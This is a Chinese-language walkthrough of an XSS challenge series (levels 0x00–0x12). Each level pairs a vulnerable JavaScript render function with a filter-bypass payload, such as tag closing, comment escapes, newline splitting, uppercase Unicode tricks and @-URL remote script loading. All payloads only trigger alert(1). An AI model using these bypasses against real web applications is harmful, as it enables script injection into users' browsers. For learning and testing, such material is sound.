找到輸入內容的輸出點,確定是在html中還是js中。
0x00
function render (input) {
return '<div>' + input + '</div>'
}
在標籤內且無過濾。
<script>alert(1)</script>
0x01
function render (input) {
return '<textarea>' + input + '</textarea>'
}
文本框標籤中無法彈窗,所以閉合<textarea>標籤。
</textarea><script>alert(1)</script>
0x02
function render (input) {
return '<input type="name" value="' + input + '">'
}
插入的代碼在input標籤的value屬性中,可以直接閉合input標籤。
"><script>alert(1)</script>
0x03
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
過濾了圓括號。
模板字符串緊跟在函數名後面,該函數將被調用來處理這個模板字符串。
模板字符串使用反引號來代替普通字符串中的雙引號和單引號。
<script>alert`1`</script>
0x04
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
過濾了圓括號和反引號。
<svg>標籤中可以直接執行HTML實體字符。或者<iframe>標籤的srcdoc裏面的內容可以直接在HTML中顯示出來。
<svg><script>alert(1)</script>
<iframe srcdoc="<svg><script>alert(1)</script>">
0x05
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
將-->替換成表情,並且輸入的內容在註釋中輸出。
HTML兩種註釋方法:<!--註釋--> <!--註釋--!> 這裏我們可以用對稱感嘆號的方法註釋。
--!><script>alert(1)</script><!--
0x06
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
將以anto或者on開頭,並且以等號結尾的標籤屬性替換成_ ,這裏可以用換行。
onmousemove
=alert(1)
0x07
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
將以<開頭 >結尾,並且忽略大小寫的字符替換成空。
可以利用瀏覽器的容錯,去掉>。
<body onload="alert(1)"
0x08
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
將</style>替換成\u574F\u4EBA,利用換行繞過。
</style
><script>alert(1)</script>
0x09
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
要求以https://www.segmentfault.com開頭的輸入,否則失敗。並且輸入的url在script標籤的src屬性裏面,還需要將這個標籤閉合。
https://www.segmentfault.com"></script><script>alert(1)</script>//
0x0A
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
對很多符號進行了轉義,例如& ' " < > / 都轉義成了html實體編碼,html實體編碼在html標籤的屬性中可以直接進行解析。並且匹配了以https://www.segmentfault.com開頭的url。當我們訪問 https://[email protected] 的時候我們實際訪問的是 https://www.sina,com。 所以這裏我們可以用指定的url開頭,但是用@符號來執行自己的js,在這個js中有彈窗的代碼。
https://[email protected]/j.js
0x0B
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
輸入的內容全部變成大寫。在html標籤和url中不區分大小寫,但是js嚴格區分大小寫。
所以我們可以在標籤的屬性內用https://xss.haozi.me/j.js 這裏面的腳本來進行彈窗,或者是用alert(1)的時候進行編碼,可以轉成html編碼。
<script src="https://xss.haozi.me/j.js"></script>
0x0C
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
把script替換成空,輸入全部大寫。
這裏我們可以不用script標籤
<img src=1 onerror=alert(1) >
或者雙寫繞過。
<scrscriptipt src="https://xss.haozi.me/j.js"></scrscriptipt>
0x0D
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
將符號 < / " ' 替換成空,並且輸入的內容是註釋,這裏可以用換行繞過。並且用html的註釋符 --> 註釋掉後面的單引號和圓括號。
alert(1)
-->
0x0E
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
將 < 開頭的不管後面是什麼字母都通通加上一個_ ,所以所有的標籤都不能用。
字符ſ大寫後爲S。
<ſcript src="https://xss.haozi.me/j.js"></script>
0x0F
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
對字符 & ' " < > / 進行html編碼,輸入的內容在img標籤中,所以編碼沒有影響。內容在console.error中,我們可以閉合console.error,並且在onerror屬性中添加一個alert。
');alert('1
0x10
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
沒有過濾,在script標籤中直接執行。
alert(1)
0x11
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
過濾了很多的字符。並且將" 替換成 \" ,但是並沒有什麼卵用,\正好可以當做是雙引號裏面的內容。輸入的內容在javascript:console.log裏面,我們將這個閉合以後添加一個alert然後把後面的註釋掉。
");alert(1)//
0x12
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
將 " 替換成 \" ,輸入的內容在console.log裏面,在html標籤外面,所以不能進行html編碼。
這裏可以直接閉合掉script標籤,重新添加一個
</script><script>alert(1)</script>
也可以將替換的 \" 的 \在前面再添加一個\轉義掉。
\");alert(1);//